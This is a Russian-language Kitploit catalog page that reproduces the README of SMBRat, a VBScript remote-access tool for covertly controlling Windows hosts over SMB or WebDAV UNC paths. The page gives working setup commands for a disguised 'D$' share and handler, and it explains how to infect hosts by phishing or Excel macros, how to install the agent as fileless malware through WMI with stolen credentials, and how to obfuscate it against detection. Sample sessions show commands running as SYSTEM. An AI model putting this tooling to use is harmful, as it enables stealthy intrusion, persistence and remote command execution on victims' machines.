Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SMBRat — Инструмент удалённого администрирования Windows на Visual Basic с UNC-путями | Kitploit
Инструменты/GitHubGitHub/operatorequals/smbrat
Инструменты фишингаГенерация полезной нагрузкиМеханизмы персистентностиЭксплуатацияЛатеральное перемещениеШелл-кодПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного Доступа
221227 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
operatorequals/smbrat

SMBRat

Инструмент удалённого администрирования Windows на Visual Basic с UNC-путями

Репозиторий

SMBRat

Инструмент удалённого администрирования Windows на Visual Basic Script

Идея

Окружения Windows, такие как сети Active Directory, сильно перегружены трафиком SMB.

Все хосты получают политики из SYSVOL, конфигурациям для работы нужны удалённые файлы, ярлыки на рабочем столе обычно указывают на \\something\else\in\the\network.exe.

Никто не заметит ещё одну попытку подключения. Верно?

- Особенно если она успешна (сейчас модно отслеживать только отказы брандмауэра)

Ингредиенты

Агент

Удобен для документирования и архивирования

agent — это скрипт на Visual Basic Script, который выполняется на заражённом хосте и подключается к SMB-серверу. Он создаёт там каталог, названный по hostname хоста и основному MAC-адресу (пытаясь быть одновременно уникальным и информативным для целей отчётности). Все команды и информация для заражённого хоста будут храниться в этом каталоге. zipнув всю общую папку, вы заархивируете всю информацию о проекте!

Скрытность

Он НЕ использует букву диска для монтирования общего ресурса, а просто использует UNC-пути для непосредственного чтения удалённых файлов (в explorer.exe не создаётся никакого диска).

Он также внедряет UNC-путь в переменную %PATH% собственного окружения выполнения (вы можете запускать исполняемые файлы прямо из файловой системы вашей Linux-машины).

Выполнение агента

agent настроен на однократный запуск. Без сохранения состояния.

Его процедура (более или менее) такова:

  • Ищет файл с именем exec.dat в папке, которую он создал в SMB-ресурсе.
  • Если файл найден, он читает его содержимое и выполняет его как команду с помощью cmd.exe /c <command>, подобно полуинтерактивной оболочке.
  • Ответ команды сохраняется в output.dat (рядом с exec.dat).
  • Удаляет файл exec.dat.
Вики-страница по настройке агента

Обработчик

Для работы handler требуется SMB-сервер. Подойдёт модуль smbserver.py из пакета impacket от Core Security.

Скорее всего, smbd тоже подойдёт, но он ещё не тестировался.

Настройка SMB-сервера

Нужен общий ресурс с именем D$, чтобы выглядеть как SMB легитимного Windows-хоста.

root@kitploit:~
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Случай с WebDAV!

Поскольку agent настроен на использование только UNC-путей, WebDAV также можно использовать без каких-либо изменений. Вместо SMB-сервера можно использовать WebDAV-сервер (отличный WebDAV-сервер с поддержкой SSL — это wsgidav).

root@kitploit:~
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO    :  WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO    :  Lock manager:      LockManager(LockStorageDict)
[...] INFO    :  Property manager:  None
[...] INFO    :  Domain controller: SimpleDomainController()
[...] INFO    :  Registered DAV providers by route:
[...] INFO    :    - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO    :    - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING :  Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING :  Share '/:dir_browser' will allow anonymous read access.
[...] WARNING :  Share '/' will allow anonymous write access.
[...] INFO    :  Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO    :  Serving on http://0.0.0.0:80 ...

[...] INFO    :  192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status

Для поддержки SSL UNC-пути нужно немного изменить, с:

root@kitploit:~
\\<Server-IP>\DIR\

на:

root@kitploit:~
\\<Server-IP>@SSL@443\DIR\

Это изменение можно внести только в переменную ServerName файла agent.vbs, поскольку все пути строятся на её основе. Имейте в виду, что SSL-сертификаты должны доверяться системой, на которой выполняется agent. Самоподписанные сертификаты будут вызывать ошибки с предупреждениями.

Схема заражения

Заражение хоста из файла

В начало файла agent.vbs можно добавить цикл While с задержкой в несколько секунд (идеально — 10 секунд), и тогда он сможет заражать Windows-хосты через двойной клик / фишинг / макросы Excel / и т.д...

Цикл while True на VBS с задержкой в 1 секунду выглядит так:

root@kitploit:~
Do While True
	[...]
	WScript.Sleep 1000
Loop

Заражение хоста fileless

Однако, если на Windows-хосте включён RPC, можно установить VBS-файл как бесфайловое вредоносное ПО через WMI и замечательные примеры из пакета impacket, например такой командой:

root@kitploit:~
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10

Также можно использовать инструмент WMI при локальном доступе, чтобы установить agent.vbs как бесфайловое вредоносное ПО.

Обфускация?

Visual Basic Scripts можно хорошо обфусцировать, закодировать в base64, а также минифицировать.

Будет очень удобно обкатать его перед «развёртыванием» 😉

  • Онлайн-инструмент для обфускации VBS
  • Репозиторий GitHub

Структура каталогов в SMB-ресурсе

Никогда не создавайте папки вручную в общей папке

Минимальное использование

На момент написания оболочка Handler не была реализована, поэтому использование можно осуществлять просто с помощью команды вроде watch для просмотра файла output.dat:

root@kitploit:~
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat

и echo для записи данных в файл exec.dat:

root@kitploit:~
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat

handler.py

Экспериментальная оболочка работает следующим образом:

root@kitploit:~
$ python handler.py Share/
SMBRat> 
# When a new host gets infected:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"

SMBRat> execall whoami /user

[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
		
SMBRat> 
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF': 


USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18

^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat> 
				

Существенные подводные камни

SMBv1 не шифруется :

root@kitploit:~
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

[...]

15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)

E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"

[...]

15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)

E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................

.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...

[...]

15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)

[email protected]../.../..8..i~. 
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.

[...]

Трафик (содержимое и пути файлов) передаётся в открытом виде, если используется SMBv1-сервер (например, smbserver.py из impacket).

  • Слой шифрования/обфускации полностью решил бы эту проблему!

Весь общий ресурс доступен на чтение/запись всем:

Все агенты могут изменять файлы, хранящиеся во всём общем ресурсе. Это означает, что они могут изменять exec.dat других агентов... Утилита smbmap прольёт свет:

root@kitploit:~
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445	Name: Deskjet-4540                                      
	Disk                                                  	Permissions
	----                                                  	-----------
	D$                                                	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
	IPC$                                              	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually

Обратите внимание на отсутствие параметров -u и -p у smbmap.

Это NULL-сессия (как анонимный вход по FTP). КАЖДЫЙ может изменять файлы общего ресурса и получить удалённое выполнение кода на всех заражённых машинах.

  • Лучше поднять здесь iptables...

Сессии не являются интерактивными

Введите execall netsh — и вы потеряете всех своих агентов. Никто не ответит, потому что agent.vbs запустит оболочку netsh.exe и будет ждать её завершения, чтобы записать её вывод в output.dat. Но угадайте что... Она не завершится... Она зависнет, а netsh> будет указывать в пустоту.

Скачать инструмент